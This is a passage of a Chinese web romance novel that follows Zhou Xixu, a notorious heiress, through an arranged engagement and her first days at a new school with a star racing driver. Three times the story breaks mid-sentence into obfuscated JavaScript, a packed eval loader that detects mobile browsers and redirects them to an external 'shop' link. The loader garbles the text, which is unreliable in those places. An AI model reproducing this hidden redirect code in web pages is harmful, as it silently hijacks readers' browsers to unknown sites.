《诱尔》 1. 疯狗归来 「继野兽派对事件后,周悉许已提前结束英国学业,于本月中旬抵达申泸。网友偶遇其当街送帅哥豪华跑车,疑似移情别恋,陆齐二公子惨遭背叛。」 * 午后,阳光从窗帘的缝隙挤进来,在被子上画出一道歪歪扭扭的线。 周悉许懒洋洋地翻了个身,脸陷在枕头里。 手机屏幕亮着,自动切到了下一条视频。引擎的轰鸣声从扬声器里传出来,她眯着眼瞄了一下—— 又是那个赛车手。 最近十条视频,三条是他。 她知道这人。叫程又一。名气不小,头顶一堆光环,是个实打实的天之骄子。据说……还是个颜霸,但她没见过庐山真面目。 这人所有的视频都拍得不清楚,要么侧身,要么背影,要么全副武装,没有一张正脸。她严重怀疑就是炒作,实际全靠营销。 手指上划。 下一条视频又是她自己。 画面里她正和身边的男生说话。那男生眉眼干净,手里攥着车钥匙,身后是她那辆二手911。 看了两秒。 嗯……拍得挺好,下次换个角度。 视频底下的评论她已经懒得看了,无非是说她“换男朋友比换衣服还快”、“周家小疯狗名不虚传”。 “周家小疯狗”这个名号,拜野兽派对所赐,已经火遍大江南北。 其实那天的事很简单。几个白皮猪对她动手动脚,她气性大了点,下手狠了点。没想到被拍下来传到网上,还被恶意剪辑,她咬人的镜头被反复慢放,配上了各种字幕。 然后舆论就炸了。 为什么炸?不是因为事情有多大,而是因为“周悉许”前面有个“周”字。 周氏集团的那个周。 这年头,仇富是政治正确。一堆不分青红皂白的人站出来无脑黑,说她仗势欺人,把她骂得体无完肤。 越骂越热,越热越骂。 到最后,真相是什么已经不重要了。重要的是,她周悉许就是那条“疯狗”,因为她看起来足够强势,也足够像条“疯狗”。 从英国回来那天她就知道,这日子消停不了。 手机震起来。 屏幕上跳出一个名字:沈意皖。 周悉许盯着这三个字看了几秒,眉头皱了又皱,但还是按了接听。 “周悉许,刚回来就不消停!” 她把手机拿远了些。“又怎么了?” “你还有脸问?在国外丢脸,回来还不老实!” 周悉许懒得接话,光着脚踩进厨房,把手机搁在岛台上按下扩音。咖啡机启动,嗡鸣声盖住了电话那头一半的声音。 她几乎能背出沈意皖接下来要说的每一个字:滚瓜烂熟的脏话,反复强调“你这个废物”,升华主题“我怎么养了你这么个东西”。 在外人眼里,沈意皖是优雅的贵妇圈典范。但在周悉许这儿,这位豪门阔太的真实面孔比她的限量款爱马仕还经不起细看。 “行了行了,我罪该万死。还有事没?没事挂了。” “挂什么挂!你爸让你晚上滚回来!” 周悉许端咖啡的手抖了一下。 看来……该来的还是躲不掉。 —— 傍晚,西岛。 周悉许下车的时候,周悉丞正在花园里逗狗。虽然是龙凤胎,但两人根本没法比。人家是商业奇才、是众星捧月的接班人。而她呢?从小被骂到大,走路都带热搜。 “你也被叫回来看戏了?”周悉许招招手。 周悉丞抬了抬眼皮,“又上热搜了?” “怎么,羡慕?” “嗯,羡慕你脸皮厚。” 周悉许没理他,凑过去揉了揉狗的脑袋。狗眯起眼,尾巴摇得欢实,看着招人喜欢。她又捏了捏它的耳朵,“这狗什么都好,就是叫起来难听。” 周悉丞听出她在阴阳自己,瞥她一眼:“别贫了,赶紧进去让他撒撒气。”他朝会客楼的方向扬了扬下巴,“等会儿阿竞就来了,当着外人面被骂,挺丢人的。” 周悉许撇撇嘴,望过去,刚好对上周征那张满是怒气的脸。 横竖都是死,不如早死早超生。 她晃悠过去:“我回来了。” “你还有脸回来?”周征的声音从喉咙里压出来。 “你让我回来的啊。不会是老年痴呆了吧?” 周征的脸涨成猪肝色。他刚要发火,看到驶入大门的几辆车,硬生生把那口气咽了回去,“前几天那个,给我断干净。”他语气不重,但带着上位者的压迫,每个字都像钉子一样摁下来,“好好和阿竞相处。” 他说的是八卦新闻里那个男生。 实际上周悉许和人家压根儿不熟,给跑车是真的,但有原因。 那天她开车拐进一条弄堂,刮到一个老奶奶和扶着她走的男生。男生护着奶奶伤到了手肘,她随手给了张卡。男生冷着脸把卡还给她,声音里透着倔强:“没伤到,不需要。” 周悉许很意外。 从小到大,她见过的人要么图钱,要么图势。 还回来?根本不存在。 男生穿得寒酸。身上的衬衣洗得发白,鞋子旧得看不出颜色,一看就过得拮据。可他站在那儿,脊背挺直,眼里干干净净。没有讨好,没有算计,甚至没多看她一眼,就只是把不该拿的东西还了而已。 她无意间瞥到他的袖口,上面沾着几点浅淡的血迹,还没完全干透。 男生察觉到了。他低头看了一眼手肘,随意抹了抹,表情没什么变化,只是把袖子往下拽了拽,“没什么大事,走吧。” 周悉许忽然有点说不上来的感觉。觉得这人挺有骨气,也挺死要面子。她竟然在他身上看到了和自己曾经相似的倔强。 鬼使神差地,她转头看向停在一旁的跑车。 这车是沈意皖淘汰下来的,扔在车库里积了快十年的灰,跟废铁没什么两样。家里没人开,她也只是怕开别的被发现才捡来。 她脑子里忽然冒出一个念头。 周征不是最爱立慈善人设吗?隔三差五捐个学校、修条路,新闻稿发得满天飞。 她做件好人好事,不过分吧? 反正古董车放着也是放着,还占地方,而且也是沈意皖不要的。她当个搬运工,把废品搬给一个需要的人,这不比周征那些虚头巴脑的捐款实在多了? “车是你的了。”她把车钥匙扔到男生怀里。 男生明显没反应过来,他低头看了看掉进怀里的钥匙,又抬头看了看她,像是没听懂。 她没再看男生,转身走了。 让她没想到的是—— 原本只是出于同情产生的超额赔偿,在传播过程中逐渐变成了“送小奶狗跑车”。 她懒得解释。解释也多余。 周征还是会认为她荒唐,何必多此一举?反正她荒唐也不是一天两天了。何况,就算解释,周征也不会信。 根深蒂固的偏见,她改变不了。 “怎么?是人家不够帅?”她笑得没心没肺。 “趁我还能好好和你说话,照做,别废话。” 她没再多言。 —— 人齐了。 这场鸿门宴终于要开始了。 周悉许做好挨骂的准备,调整好表情,敷衍中带点不耐烦,不耐烦中又带点摆烂。 周征开口了。 然而,他说的是: “阿竞和悉许是我们看着长大的,我想着明年等他们高中毕业,我们两家先订个婚。” 周悉许:? 说好的当众大义灭亲呢?怎么变成相亲会了?还是不带她商量的那种? 她脑子里缓缓飘过一行字: ……被卖了? 念头转了一圈,她想通了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586014|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她现在的名声,整个上流圈叫得上号的人家都绕着走。周征这是怕她砸手里,趁着陆竞年纪小、好忽悠,赶紧脱手。 “你算盘打得挺好。”周悉许拍拍手,“把我扔给陆竞,是怕给你惹麻烦?” “闭嘴!”周征呵斥。 周悉许很听话地闭嘴了。 她瞟了一眼陆竞他妈,脸都绿了。再看一眼陆浅,这丫头嘴撅得能挂油瓶。 突然就有点想笑。 她垂下眼,盯着碗里的汤,热气模糊了表情,但不用看也知道,嘴角的那抹弧度带着点自嘲和认命。 果然。 对谁来说她都是个麻烦。 整场鸿门宴持续了两个多小时。 散场时,夜风灌进领口,周悉许打了个哆嗦。她站在台阶上,看了眼西岛的天。没有星星,和那些难熬的夜晚一样。 黑漆漆的,压得人莫名心烦。 周悉丞冲她摆摆手,“先走了。” “嗯。” 她站在原地,看着他的车尾灯消失在铁门拐角。 花园里的灯还亮着,把整栋楼的影子拉得很长,影子的末端融进了黑暗。她低头看了看自己的影子,也被拉得细长,孤零零的。 这里对她来说早就不是家了。从踏上英国航班的那天起就不是了。 不是赌气,是认清。 她转身下了台阶,每一步都在提醒她,没留下的必要。 陆竞提议送她,她没拒绝,刚好也有话想说。 —— 车上,皮革的味道混着淡淡的芳草香。那是她熟悉的一款洗衣液的气味,陆竞用了很多年。这个人好像什么都不会变,连味道都十年如一日。 她望向窗外。 陆竞的侧脸倒映在车窗上,很好看,和十年前一样。 那年她被周征扔去了英国,出发时她红着眼圈和周悉丞告别,转身就看见陆竞朝她挥手。他咧着嘴,笑得像个傻子。可那一刻,她却觉得他比以往任何时候都好看。 “悉许,我陪你一起去。” 很多年过去,这句话她一直记得。 以前她以为这就是朋友义气,可后来才慢慢发现,这份“义气”早就超越了友谊的范围。 那天,苏格兰的风很大。 尼斯湖旁,少年的声音羞涩却坚定。 “悉许,如果你一直找不到喜欢的人,就让我永远陪在你身边吧。” 如果身边一定要有个固定的人,陆竞确实挺好的。 但这样对他不公平。 所以她拒绝了。 “还记得我和你说过的话吗?” “哪一句?” “我希望你也被珍视。我们不合适。” 陆竞很平静,似乎早有准备,:“那你现在有喜欢的人吗?” 周悉许被问住了,视线飘向窗外。 街边,霓虹灯一闪一闪的。 她脑子里闪过一张脸,很模糊。是某人的侧脸。熟悉又有点陌生。 车里陷入了漫长的静默。 好一会儿,周悉许都没出声。 陆竞以为她是累得睡着了,伸手把自己的外衣披在她身上。 下一秒,听到她的声音。 “有。” 陆竞的手顿了一下,指节微微收紧了。随即松开,很难被察觉。 窗外霓虹依旧闪烁。 车里只剩沉默。 车驶过一盏路灯,光影划过车窗。后视镜里,一辆车不远不近地跟着,像一道沉默的影子,已经跟了三个街区。看不清里面的人,只能隐约看见手机的光,屏幕上有一条推送消息:周悉许即将入读南洋高中。 车上的人盯着这行字,看了很久,久到屏幕暗下去,又被他点亮。 然后笑了一下。 很轻。 他们的故事要开始了。 这次,他有备而来。 2. 好看? 隔天一早,周悉许被沈意皖扔在南洋中学校门口。 车没熄火,扬长而去。 她站在原地望着,直到车完全消失在视线里,才转身进去。 校园比她想的大。别致、文艺,又不张扬。 她没什么兴致,只是漫无目的地四处闲逛。 路过一条樱花大道,恰好起了风,不大,却刚好吹落一树花瓣,洋洋洒洒地落在她肩头。她停下脚步,在旁边的长椅上坐下。 刚坐稳,一抬眼。 像所有俗套的故事一样,对面树下站着一个人。 那人懒散地倚着树干,侧着身,骨相极为优越。他垂着眼,睫毛浓密的影子落在颧骨上,修长的手指夹着烟,薄唇微启,吐出淡淡烟圈。 周悉许多看了一眼。 挺帅。 但帅哥她见多了,早麻木了。 她收回视线,掏出手机,对着远处的湖景拍了几张照片,发了个朋友圈。 【好好学习,天天向上,洗心革面,重新做人】 没过几秒,收获一堆点赞和评论。 朱缇:劳改刚出来? 鲁卡卡:你没事吧? 她上下翻了翻。正要回复,忽然察觉一道目光停留在自己身上。 不重,但存在感极强。 她抬眼。 撞上了对面人的视线。 那双眼睛比他的侧脸更让人挪不开眼。隔着几步的距离,他的目光不闪不避,安静又笃定,眼底的情绪意味不明。他手里的烟已经烧了很长一截,烟灰悬而未落。 周悉许微微皱眉。她没躲,也没慌,就那么直直地对视了两秒。 对方也没移开视线,甚至嘴角几不可察地动了一下,像是一种确认。好像她出现在这,是意料之中的事。 周悉许率先别开眼。 莫名其妙。 手机震动两下,是陆竞发来的信息。 「你到学校了?」 周悉许回:「嗯,在樱花树这坐着呢。」 消息刚过去没两秒,又进来一条: 「找得到教室吗?用不用带你熟悉熟悉路?」 周悉许盯着这条信息,陷入纠结。 她不想耽误陆竞听课。毕竟人家是品学兼优的好学生,和她这种“来学校就是换个地方睡觉”的不一样,但这里她确实不熟。 半晌,她想了个折中的办法。 「我在这休息一下,下课你来找我吧。」 回复完,打开D站刷刷视频。刷了大概十几分钟,那种被盯着的感觉又来了。 她再度转头。 感觉没错,那人还在看她。 这人是不是有病?帅也不能这么盯着人看啊,这行为很唐突。她从背包里掏出耳机带上,把音量调高,完全忽视对面的人。 没过多久,陆竞跑过来。她起身迎上去,两人一起朝教学楼走去。 身后,那人熄了烟,目光追着她的背影,直到拐角。 陆竞带她在校园里转了一圈,认了认路,才送她去班级。 走廊里,又遇到刚才那人。 他倚在窗子前,像在等人。 周悉许无语。 怎么又是他?她直接无视,径直走到教室门前。那人却走了过来,先她一步推开门,进去了。 没想到竟然是同班同学。 周悉许愣了一下。 ……所以不是跟踪狂,是同学。 她缓过神,跟了进去。 原本还算安静的教室瞬间喧闹起来。 “这是谁?明星吗?看着好眼熟。” “确实眼熟,不过也太漂亮了吧,这大长腿,妥妥的新晋校花。” “我怎么感觉她有点像周悉许?” “想什么呢?人周大小姐这个点儿能在这儿?” 议论声不小,周悉许听得清清楚楚。 讲台上,班主任也听得清清楚楚。周悉许今天转校,她是知道的。校长特意交代过,她不敢疏忽。虽然她不热衷八卦,但周悉许这个名字,还是听过的,应该说,是避不开的。眼前这张冷艳精致的脸频频出现在各个媒体和社交平台,她想没印象都难。 此刻,真人和传闻对上号,再瞥一眼台下交头接耳的学生,已经可以确定:就是她了。 班主任迎上去,脸上挂着拘谨的笑,“这是新转来我们班的周悉许同学。”她转过头对周悉许说,“给大家介绍一下自己吧。” 周悉许只说了三个字,“周悉许。” 冷淡的语气让原本嘈杂的教室瞬间安静。 一句极力压低的声音“原来真是小疯狗”显得特别突兀。 周悉许冷笑一声。 刚才的议论她听得一清二楚,各种无端捏造的黄谣和恶意揣测,让她挺不爽的。 她轻蔑地看向声音的源头,语气更冷了,“既然都知道我的战史,就不多废话了。我这个人脾气不太好,所以——” 她视线扫过全场,带着警告的意味。 “都小心点。” 说完看向班主任,“我坐哪?” 班主任明显没缓过来,战战兢兢地说,“周、周同学,你、您想坐哪?” 周悉许微皱了下眉。 她又不是凶神恶煞,至于这么夸张? 靠窗的角落忽然传来一声轻笑,带着点倦意,音尾上扬。 单单听着,辨不出用意。 周悉许循声望去。 这笑声的主人正懒散靠在椅背上,长腿随意伸在过道里,挡住了半边路。修长的手指捏着一支笔,漫不经心地转着。 见周悉许看过来,他手上的动作停了。嘴角缓慢勾起,弧度不大,却有点挑衅的意味。 “周大小姐。”他的声音不高不低,刚好全班都听得清,“这个位置,满意吗?”他伸手指了指自己隔壁的空位,眉尾微微挑起,视线从她脸上慢悠悠地滑下来,看着有些轻佻。 又是这人。 周悉许面无表情,没回话。 环视了一圈。 除了他旁边的位置,还有一个空位在他斜后方。 她抬脚走过去。 路过他身边时,他的腿没有收回去。过道本来就窄。他那一米八几的身板往那一靠,剩下的空间只够她侧身挤过去。 周悉许顿了一下,垂眸看他一眼。 他也在看她。 神情散漫,嘴角还是那个似笑非笑的弧度,但又带着种傲慢和压迫感。长腿纹丝不动,很明显是故意挡路。 教室里安静得能听到窗外的鸟叫。 周围的同学大气都不敢喘。 周悉许没说话,直接从他腿上跨过去。动作干脆利落,书包带子扫过他的膝盖。 那个瞬间,他的睫毛轻微动了一下,旁人察觉不到。 周悉许没回头,继续往后走。 她转身的那一刻,他的目光追着她,在她后脑勺上停了几秒。然后嘴角弯了一下,像是早就知道会这样。 周悉许走到后面的空位,拉椅子时发出了和地面的摩擦声,教室里才有点声响。 这声响吵醒了旁边睡觉的男生。他撑起身,带着气,“滚一边去。” “在说我?” 男生不耐烦地转过头,刚想接着骂,看清旁边人后,先是一愣,而后惊讶。 “周悉许?!” “嗯” 男生呆呆地看了几秒,才彻底清醒。他凑过来,“Hello,认识一下吧。篓恩。叫我Lown也行。我知道你,挺有名的。” 篓恩的大名她听过,出生书香世家,家里不是开医院的就是开学校的,是申泸为数不多的清流。但他本人却是个不折不扣的纨绔,名声差得和她不相上下。 周悉许淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586015|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡回了一句,“你也挺有名。” “哎呀,逢场作戏而已咯,别当真。”篓恩撩了下额前的碎发,“我这个人其实很单纯的,再加上长得帅,对女生又绅士,不好意思拒绝,一来二去,误会就多了。” 周悉许没搭话。 浪荡子她没少见,没一个不说自己无辜的。 篓恩见她不理自己,朝前面叫了声,“程又一,你过来给我做个证,跟她说说我这人究竟咋样。” 周悉许一愣。 程又一?那个天才赛车手? 她瞄了一眼前面那人的侧脸。 这男生的确帅得有点过分。不是过度营销。是真帅。 她收回注意力,从书包里拿出甜茶的海报贴在桌上,又拿出早上让沈意皖助理买的胡萝卜蛋糕和咖啡。 斜前方传来一个声音,“说什么?” “说我究竟怎么样。”篓恩重复了一遍。 “哦,不怎么样。” 周悉许差点被咖啡呛到。 这人嘴挺毒。 “我真多余叫你,行了你转过去吧。”篓恩摆摆手,又对周悉许说,“你别听他的,他嫉妒我,人太帅招人恨,你懂的。”他撩了下额前的碎发,朝周悉许吹了口气。 周悉许:“……” 真油腻。 前面的人似乎没有听篓恩的,还保持着刚才的坐姿。虽然她一直没抬头,但察觉的到。 “你干嘛盯着人看?”篓恩问。 没人回复。 “喂,程又一,问你呢,老盯着人看什么?”他又问。 还是没人回。 “有病。”他没好气地说。 周悉许默默赞同。终于有人说了句实话。 她始终没抬眼,但感觉得到,程又一是在看她。 从樱花树下的初次见面,到刚刚的挑衅,再到现在,这人似乎对她很感兴趣。她意识到了这点,但没多想。对她感兴趣的人多得数不过来,她懒得一个个研究。 又过了好一会儿,才听到前面有转身的动静。 氛围随之回归平静。 接下来的两节课很消停。周悉许在看电影,篓恩在呼呼大睡,前面的人没再转过来。 快到午饭时间,篓恩睡醒了。他敲了敲周悉许的书桌,“等下一起吃呗,带你解锁南洋美食。” 周悉许摇头,“有约。”她和篓恩不熟,也没兴趣和这个风流浪子扯在一起,况且等会儿陆竞会来找她。 “哎,真冷淡,人还想着好好带你逛逛南洋呢,你刚来,不熟悉。”篓恩不甘心。 “熟悉过了。” “那咱好歹也是同桌,一起吃吃饭交流交流感情很正常吧?” 周悉许刚想拒绝,下课铃就响了。陆竞出现在教室门外,朝她招手。她指了下门口,回绝了篓恩。 陆竞不是一个人来的,身后还跟着周悉丞和陆浅。一顿饭的工夫,她和陆浅唇枪舌战了几个回合,对方愤然离场。周悉许赢了,但代价是头疼得像要炸开。昨晚睡得晚,大早上被薅起来上学,生物钟全被打乱了,再加上中午这一仗,她彻底撑不住了,趴在桌上睡了一下午。 等她醒来时,已经放学了,人几乎都走光了。 夕阳斜斜地打进来,洒满整个教室。 周悉许揉了揉脖子,摸出手机。陆竞发来信息,她回了一条。刚按完发送键,就察觉前面有动静。 她抬头。 是程又一。 他没走,正看着她。 不知道看了多久。 夕阳落在他肩上,他整个人浸在光影里,眼底有她读不懂的情绪。 周悉许手指顿了一下。 “你还没走?” “嗯。” 他神情认真,薄唇一张一合,声音莫名缱绻。 “周悉许,正式认识一下,我是程又一。” 3. 蓄意勾引 夕阳逐渐逼近地平线,天边镀上层光晕。 余晖中的人,眼眸幽深。 周悉许还没来得急开口,听到门外传来陆竞的声音。她淡淡“嗯”了一声。想了想,又补了一句,“先走了。”说完拎着包离开了。 程又一在座位上望着她离开的方向,出了会儿神,然后低头看着她的书桌。 桌角贴着一张甜茶的海报,旁边放着她吃剩的蛋糕包装。 他盯着那些东西,看了很久。 —— 与此同时,南洋高中的论坛炸开了锅。 【程又一对周悉许一见钟情】 这帖子在首页挂了整整一天,热度只增不减。 一时间,无数少女痛失所爱。 周悉许对此一无所知。她不知道自己已经成了全校女生的公敌。连带着她家那条狗,可能都被拉黑了。 随之而来的是各式各样的言论。 一部分人觉得匪夷所思,不相信程又一会喜欢上周悉许。还有一群恶臭男意淫周悉许的身材,认为程又一是见色起意。当然,最多的还是程又一的梦女们对周悉许的批判和声讨。 顷刻间,南洋论坛,硝烟四起。 而这场战争的导火索,此刻正在被窝里睡得昏天黑地。 连个梦都没做。 —— 临近中午,周悉许才被迫醒来。罪魁祸首是陆竞打来的电话。 她慢吞吞地摸起手机,电话里传来陆竞温和的声音,“悉许,上午没来学校?” 周悉许“嗯”了一声,声音里带着刚睡醒的低哑。“起不来。” “那下午来吗?” “来”。她斩钉截铁,比起沈意皖的说教,她宁愿去教室睡觉,起码耳根清净。 “嗯,刚好悉丞给你的礼物也准备好了,到学校你就能看到了。” 周悉许一头雾水,“什么礼物?” 虽然周悉丞一向挺大方,但这不过节不过年的,送的哪门子礼物? “悉丞说你和他要的生日礼物。” 周悉许脑子里仔细回忆。 腾的一下坐起来。 法拉利! 她差点叫出声。 当时她也就随口一提,说完就忘到脑后去了,没想到周悉丞当真了,更没想到效率还这么高。这才刚过去没两天,就搞到手了,果然,想要什么还是要找周悉丞。找周征和沈意皖,不是被骂就是遭白眼,屁用没有。 周悉许和陆竞挂断电话,简单收拾了一下,就急急忙忙冲去学校。 赶到学校时,正好是课间休息。路上遇到三三两两的同学,嘀嘀咕咕不知道在讨论什么。看到周悉许,都默契地不说话了,个个神色紧张,像做了亏心事。 难不成周悉丞送跑车这事全校都知道了? 转念一想,又不太可能。 她带着满脑子疑惑走进教室。 篓恩那个花花公子正趴在书桌上补觉。程又一的位置空着,连书包都没有,估摸着没来。 程又一跟她想象的不太一样。他会抽烟,会逃学,不像周悉丞那样一丝不苟,更没想象中的那么高高在上。甚至让她有种错觉:他和自己一样满身毛病,只是脑子好使而已。 她心里这么想,想完又觉得多余。人家逃不逃课,关她什么事?又不是她出学费。 她走到自己座位上,坐下。 走廊一阵喧哗,几个女生兴奋地嚷嚷着“来了来了”。 正纳闷,就听到门口有人喊:“周悉许,有人找!” 她在南洋没什么熟人。想了一圈,也没想出来是谁。 走廊里站着六七个女生,染着花哨的头发,一看就不是善茬。 扫了一圈,都不认识。 为首的女生视线在她身上打量,眼神轻蔑,“你就是周悉许?” “嗯”。周悉许垂眼看她。 女生长得乖巧,五官精致,一双漂亮的大眼睛衬得她楚楚可怜。但身上改小的衬衫、堪堪遮住臀部的短裙,以及此刻满眼的狠戾,又足以证明她没有看上去那么无害。 她斜睨着周悉许,“我今天来没别的,就是想警告你,离程又一远点。” 周悉许猜到了她是来找自己麻烦,但这理由让她哭笑不得。她和程又一话都没说过几句,只不过是互相知道彼此的陌生人,除此之外,她想不到更贴切的形容了。 “你警告得有点多余。”周悉许冷声回,“和他不熟。” 女生轻哼,“不熟就闹得绯闻漫天飞?还真是低估了你。”她往前走了一步,“我劝你识相点,别人怕你,我不怕,再让我知道你勾引程又一,可就不是警告这么简单了。” 勾引? 她和程又一总共就说了三句话。这人是不是对“勾引”这个词有什么误解? 还有……她是在威胁她? 那真找错人了。从小到大,她最不怕的就是威胁。 “所以呢?”她问。 “所以?”女生冷笑,“如果你一定要和我作对,那下一次再来,你这张勾引人的脸会成什么样,就看你自己造化了。” 她的音量提高了。路过的同学渐渐围过来,看热闹的越来越多。 周悉许嗤笑一声。 “我不知道你在哪听到这么可笑的谣言。我对他没有兴趣,更不会有你说的勾引。如果你以为自己能教训我,尽管过来。” 说完径直回了教室。 回到座位上,想着刚才那几个女生,周悉许无奈笑了。 这是在上演校园古惑仔?又是双截棍又是甩棍,幼稚的让人无语。 课间,周悉许去了趟卫生间。刚关上门,就听到外面传来的几个女生的说笑声,紧接着是水龙头的声音,再之后是夹杂在水流声里的议论。 “顾畔带人去找周悉许了。” “听说周悉许没怂,顾畔撞了一鼻子灰。” “她俩闹起来,谁会赢?” “周悉许吧,她家里牛逼。” “顾畔家吃素的?再说了,周悉许早被边缘化了,她爸妈不喜欢她,才把她扔去英国。” “那周悉许惨了,人顾畔可是家里小公主。” 随后流水声戛然而止,几个女生离开了卫生间。 隔间里,周悉许一直没有出来。看来在外人眼里,她是孤立无援的。事实上,似乎……也差不多。 整个周家会管她死活的,可能就只有周悉丞一个人,其他人或许巴不得她消失。 周悉许靠在隔间门上,盯着天花板。站了好一会儿,才推门出去。她没回教室,而是一个人沿着东边的石板小路慢慢走。垂着头,边走边踢脚下的石子。当下的心情和这些被踢散的石子一样。 七零八落的。 尽管她不想承认,但还是无法否认。那些以为早已愈合的伤,其实只是结了痂,一经撕扯,还是隐隐作痛。 她踢飞一颗石子,看着它滚进草丛,然后继续走。走了一会儿,视线里突然多了一双鞋子。 周悉许抬头,看向鞋子的主人。 是程又一。 他近在咫尺。 周悉许恍惚了一下。 这人怎么又出现了?他不是没来吗?回过神,她怕对方看出自己的情绪,打算直接离开。 转身的那一刻,程又一叫住她。 “不至于装陌生人吧。” “本来也不熟。” 经历完刚才那场闹剧,她现在更不想和程又一有任何交集。倒不是怕顾畔,只是懒得惹麻烦。况且她最讨厌男女关系扯不清的。不管顾畔是他的什么人,她都不想趟这浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周悉丞抬脚走过去。几步就到了她面前。 “礼物。” 她低头看了看手里的钥匙,又抬头看面前的人,满脸质疑。 周悉丞没解释。他伸手在她头顶乱揉了一通,力道不轻不重。“再不伸手我收回了。” 她偏头躲开,皱着眉理了理头发,“你很反常。” “嗯。”周悉丞收回手,“偶尔反常一次。” 她没再追问,半信半疑地把钥匙收进包里。 “别找麻烦。”周悉丞补了一句,“这不是英国,车现在还不能开。明年过完生日再开。” 周悉许叹了口气。 嘱咐得没错。确实是麻烦。 —— 回到家,周悉许把车钥匙放在玄关,换了鞋,瘫进沙发里。 手机震了一下。陆竞发来信息:「悉许,悉丞是在用他的方式保护你,安心~」 保护? 她盯着这行字,想起卫生间里那几个女生的对话。 所以,周悉丞是听到了什么才这么反常?他这么做是在告诉全校:周悉许有人管? 她手指顿在屏幕上,盯着那台法拉利的照片,看了很久。然后锁了屏,把手机扣在沙发上。 嘴角弯了一下。 很轻,连她自己都没察觉。 手机又震了一下。 她拿起来,是一个陌生号码发来的短信。 「今天的事,不会就这么算了。」 周悉许看着这条短信。 没备注,没署名。但她知道是谁。 她打了个哈欠,把手机扔到一边。 随便。 反正她心情变好了。 4. 玩玩吗?滚。 隔天,大雨倾盆,乌云蔽日,水雾隔绝了外界色彩。 这种天气是周悉许最讨厌的。 通常她会宅在家里,睡到昏天暗地,醒了就找部虐心电影,窝在沙发上,一个人看到结尾。 她固执地认为,深陷桎梏的人只能自救。 所以她从不躲。 电视里正播着甜茶的经典作品。一身蓝白相间Polo衫,顶着茶色自然卷,17岁少年Elio,清爽无比。 周悉许往嘴里塞了两个爆米花,顺势舔了舔指尖残留的糖稀,又朝窗外看了一眼。 雨下得真不小。 或许……这种烂天气开车出去,不会被抓到? 她抱着一丝侥幸,进了衣帽间,换上衣服,拿着车钥匙风风火火直奔地下车库。 没过一会儿,一辆红色法拉利驶出中央公园,带着发动机的轰鸣,穿梭在公路的车流中。雨滴接连不断地拍打着前挡风玻璃,模糊了整座城市,嗡嗡的引擎声冲破车外的暗沉。 周悉许握着方向盘暗喜。 果然,畅通无阻。 但她没注意到,后视镜里有一辆黑色的车,不紧不慢地跟着,始终保持着恰到好处的距离。她拐弯,它拐弯。她加速,它加速。 跟了好久,才超车。 —— 周悉许到学校时,正是班主任的数学课。原本还在讲台上滔滔不绝的人,看到她进教室,顿时紧张起来,连声音都跟着变了调。 周悉许走到自己座位上,慢吞吞地抽出课本,摊开,翻了两下,但不知道该看哪页。 她往四周瞟了一眼。 隔壁篓大少今天没来,就算来,也是指望不上的废材。程又一倒是来了,但周悉许不想和他有牵扯。 她转身敲了敲对面女生的书桌,“讲得是哪一页?” 被问到的女生抬眼,先是震惊,接着是肉眼可见的紧张。她战战兢兢地把课本朝周悉许推了推,手指在课本左下角,小声道,“49页,第三道大题。” “谢谢”周悉许转过身去。 女生呼出一口气,如释重负。 没过几秒,周悉许又转头,“你叫什么名字?” “徐途。”女生答。 “是徐徐图之那个图?” 女生整个人紧绷着,小心翼翼地观察周悉许的表情,“本来是这么想的,但是那个图和我犯冲,就改成了路途的途。” 这女生很怕她,周悉许看得出。她不想别人惹自己,才浑身是刺,但她看得出这女生是个老实人,而她的保护色只针对那些有恶意的人。 “很好的名字。”她小幅度弯了弯嘴角,礼貌回应,然后转过去打算听会儿课。刚正过身,就撞上程又一的视线。 他修长的手指夹着钢笔,不在意地把玩着,“原来会正常交流。” 周悉许平静地回,“嗯,分人,我这个人,很烦没话硬说。” 言外之意:你最好识趣点。 程又一半天没出声,手指在书桌上不紧不慢地敲了几下,像是在思考。 两人陷入僵持。 谁都没开口,也没有躲闪。 氛围安静得很。 徐途和周悉许仅隔着条过道,她笔尖悬在纸上,半天没落下去。 这局面持续了好一会儿,被篓恩终止。他推门进来,气喘吁吁地坐到座位上,“累死老子了,躲都躲不掉。”拧开可乐灌了几口,又开始自恋,“小爷帅是帅了点,魅力也挺大,但这我也不想啊。” 周悉许:“……” 这人是不是脑子不太好? 见没人理自己,篓恩左右扫了两眼,注意到身边两人的微妙的气氛,这才想到闹得沸沸扬扬的传闻。 他伸手在程又一胳膊上重重拍一下,“程又一,你不地道,偷兄弟家是吧?”他指了指周悉许,“你看不出来我爱上她了?还悄咪咪来偷人。” 周悉许差点被他恶心吐了。 是他傻?还是他觉得她傻? 放眼整个南洋,甚至整个申泸,谁不知道他篓恩是个什么货色? 程又一没看他,“这是你今天爱上的第几个?” “别特么拆我台,那都是追着我跑的。”篓恩瞪了他一眼,又装出自认为很深情的模样看周悉许。“真的,我这人很专一,你是我遇见最特别的女生,我绝对是认真的。”说着还不忘眨个飞眼,释放一下他的魅力。 周悉许正想开口喷他,就听到程又一的声音—— 